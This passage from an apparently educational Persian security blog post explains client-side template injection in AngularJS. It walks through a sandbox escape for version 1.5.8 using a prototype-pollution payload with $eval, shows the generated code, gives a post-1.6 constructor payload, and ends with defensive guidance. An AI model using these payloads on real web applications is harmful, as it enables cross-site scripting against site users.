      v0 = undefined;
    }
    ensureSafeObject(v1.prototype, text);
    ensureSafeAssignContext(v1, text);
  }
  return v1.prototype = v0;
};
return fn;

مشاهده می کنید که بر خلاف نسخه قبلی، عمل برابر قرار دادن هم در همین کد انجام شده است؛ در صورتی که در نسخه قبلی getter و setter متفاوت بودند و ساختار پیاده سازی آن ها به شکلی دیگر بود. تفاوت خاص این نسخه در تابع ensureSafeAssignContext است. یعنی برای انجام تساوی، شرط هایی در حالت run-time اعمال می شود. کد این تابع به شکل زیر تعریف شده است:

function ensureSafeAssignContext(obj, fullExpression) {
  if (obj) {
    if (obj === (0).constructor || obj === (false).constructor || obj === ''.constructor ||
        obj === {}.constructor || obj === [].constructor || obj === Function.constructor) {
      throw $parseMinErr('isecaf',
        'Assigning to a constructor is disallowed! Expression: {0}', fullExpression);
    }
  }
}

می بینید که اگر شیء مورد استفاده، برابر constructor هر یک از مقادیر نوع Boolean، Integer، String، Object، Array، Function باشد، این تابع یک پیغام خطا نمایش می دهد و از ادامه اجرای برنامه جلوگیری می کند. پس یعنی، آخرین ورودی ای که وارد کردیم، به دام این تابع میفتد.

خطای تشخیص برابری خطرناک
خطای تشخیص برابری خطرناک
در تصویر می بینید که این بار AngularJS با هوشمندی بیشتر، توانست این عمل خطرناک ما را تشخیص دهد.

اولین چیزی که به ذهن می رسد این است که، آیا بدون قرار دادن 'a'.constructor.prototype برابر مقداری دیگر هم چنین مشکلی پیش می آید (منطقا نباید مشکلی پیش بیاید). بعد از تست کردن این موضوع، این نکته برای ما قطعی می شود.

حال با توجه به ویژگی این نسخه که امکان مقداردهی متغیر جدید را میدهد، می توانیم مقدار بالا را درون متغیری به اسم x ذخیره کنیم و از راه آن تلاش کنیم توابع prototype را آلوده کنیم. اما آیا همچنان شرایط مشابه قبلی وجود دارد که بتوانیم با آلوده کردن charAt قسمت lexer را به اشتباه بیندازیم؟ با بررسی کد، می بینیم که کد تابع lex هیچ تغییری نکرده است. برای امتحان موفقیت یا عدم موفقیت این موضوع ورودی {{x='a'.constructor.prototype;x.charAt='b'.concat}} را وارد می کنیم و پس از بارگزاری کامل صفحه، تابع charAt یک رشته را فراخوانی می کنیم. نتیجه ای مشابه دفعه قبل به دست می آید که نشان می دهد ما به هدف خود رسیده ایم.

حال کافی است از تابع $eval استفاده کنیم. تابع lex، این بار هم، ورود ما را به عنوان یک Identity در نظر می گیرد و باعث می شود، تمام ورود ما به عنوان یک تکه کد جاوا اسکریپت، در کد نهایی کامپایلر ظاهر شود. می توانیم این موضوع را با وارد کردن مقداری آزمایشی بررسی کنیم: {{x='a'.constructor.prototype;x.charAt='b'.concat;$eval('x=alert(1)');}}

پس از وارد کردن مقدار بالا، کامپایلر AngularJS دوبار فراخوانی می شود. دفعه اول کدی ایجاد می کند که چندان برای ما مهم نیست. اما بار دوم که توسط تابع $eval فراخوانی می شود کد زیر را تولید می کند. همان طور که می بنید آرگومان $eval، تماما درون کد نهایی ظاهر شده است:

'use strict';
var fn = function (s, l, a, i) {
  var v5,
  v6 = l && ('x=alert(1)' in l);
  if (!(v6)) {
    if (s) {
      v5 = s.x = alert(1);
    }
  } else {
    v5 = l.x = alert(1);
  }
  return v5;
};
fn.assign = function (s, v, l) {
  var v0,
  v1,
  v2,
  v3,
  v4 = l && ('x=alert(1)' in l);
  v3 = v4 ? l : s;
  if (!(v4)) {
    if (s) {
      v2 = s.x = alert(1);
    }
  } else {
    v2 = l.x = alert(1);
  }
  if (v3 != null) {
    v1 = v;
    ensureSafeObject(v3.x = alert(1), text);
    ensureSafeAssignContext(v3, text);
    v0 = v3.x = alert(1) = v1;
  }
  return v0;
};
return fn;

و این یعنی ما بار دیگر توانستیم از Sandbox فریمورک AngularJS فرار کنیم و به Javascript Execution برسیم.

نتیجه فرار از Sandbox در AngularJS 1.5.8
نتیجه فرار از Sandbox در AngularJS 1.5.8

پیشگیری از این آسیب پذیری ها

همان طور که گفتیم، از نسخه 1.6 به بعد، سندباکس AngularJS به طور کامل حذف شد. علت این کار، بی اثر بودن آن عنوان شده است. یعنی از نسخه 1.6 به بعد، اگر آسیب پذیری CSTI وجود داشته باشد، می توان با Payload زیر، از سمت کاربر Javascript Execution گرفت:

constructor.constructor("alert(1)")()

پس یک توسعه دهنده، از همان ابتدا باید به گونه ای برنامه نویسی کند که اصلا CSTI به وجود نیاید. خود سایت AngularJS اینطور توضیح می دهد:

It’s best to design your application in such a way that users cannot change client-side templates.

و در ادامه ای جمله، موارد زیر را ذکر می کند:

نکات حفاظت در برابر XSS در AngularJS

  • قالب های سمت-کلاینت را با سمت-سرور قاطی نکنید!
  • از ورودی کاربر برای ایجاد قالب به صورت متغیر استفاده نکنید!
  • محتوای کاربر (userContent) را در موارد خطرناک زیر استفاده نکنید:
    • $watch(userContent, ...)
    • $watchGroup(userContent, ...)
    • $watchCollection(userContent, ...)
    • $eval(userContent)
    • $evalAsync(userContent)
    • $apply(userContent)
    • $applyAsync(userContent)
    • $compile(userContent)
    • $parse(userContent)
    • $interpolate(userContent)
    • {{ value | orderBy : userContent }}
  • از CSP استفاده کنید. (البته این مکانیزم کافی نیست و نباید به آن اکتفا کنید)

یک سری موارد دیگر نیز در سایت AngularJS گفته شده است که من به دلیل تفاوت موضوع آن ها در اینجا ذکر نکرده ام. اگر به مطالعه بیشتر در مورد نکات امنیتی AngularJS علاقه مند هستید، به این لینک مراجعه کنید.

منابع

این مطلب نتیجه مطالعات تیم تحقیقاتی Unk9vvN در مورد تحقیقات موجود در زمینه امنیت سایبری وب است. در این مطلب از نتیجه تحقیقات محققانی چون Ian Hickey، Gareth Heyes و Mario Heiderich استفاده شده است. قطعا هدف این مطلب تنها ترجمه مطالب موجود نبوده است. پس تمام مفاهیم، که از چندین مطلب گرد آوری شده اند، با برداشتی نو نگاشته شده اند تا به بهترین شکل قابل درک باشند. باشد که این نوع مطالب، منبعی مناسب برای مطالعات فارسی زبانان در این حوزه باشد.

Post Views: 5,214
نوشتهٔ پیشین
حل چالش ImageTok در HackTheBox
نوشتهٔ بعدی
مسمومیت حافظه پنهان وب

دیدگاهتان را بنویسید لغو پاسخ

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

این فیلد را پر کنید
این فیلد را پر کنید
لطفاً یک نشانی ایمیل معتبر بنویسید.
شما برای ادامه باید با شرایط موافقت کنید

نویسنده

Eiliya Keshtkar
Chief Technology Officer

نوشته‌های تازه

  • آسیب پذیری های روز صفر ایمیل سرور Zimbra 12 اردیبهشت 1400
  • تحلیل تکنیکال جاسوس افزار پگاسوس (قسمت اول) 12 اردیبهشت 1400
  • دنیای آسیب پذیری XSS 12 اردیبهشت 1400
  • مسمومیت حافظه پنهان وب 12 اردیبهشت 1400
  • تزریق کد قالب سمت کاربر به AngularJS 12 اردیبهشت 1400

دسته‌ها

  • وبلاگ – آسیب پذیری ها (4)
  • وبلاگ – جرم شناسی دیجیتال (1)
  • وبلاگ – فتح پرچم (1)

آخرین نوشته ها

آسیب پذیری های روز صفر ایمیل سرور Zimbra
13 دی در 6:24 pm
تحلیل تکنیکال جاسوس افزار پگاسوس (قسمت اول)
14 مرداد 1400
دنیای آسیب پذیری XSS
13 تیر 1400

ارتباط با ما

[email protected]
۰۶۲۴۹ ۳۶۸ ۰۲۶
استان البرز، کرج، فردیس، فلکه اول، برج نگین
Twitter
GitHub
Telegram
YouTube
LinkedIn
Instagram

تمامی حقوق این سایت متعلق به شرکت اکسین ایمن نیکراد است.

  • شرایط استفاده
  • سیاست حفظ حریم خصوصی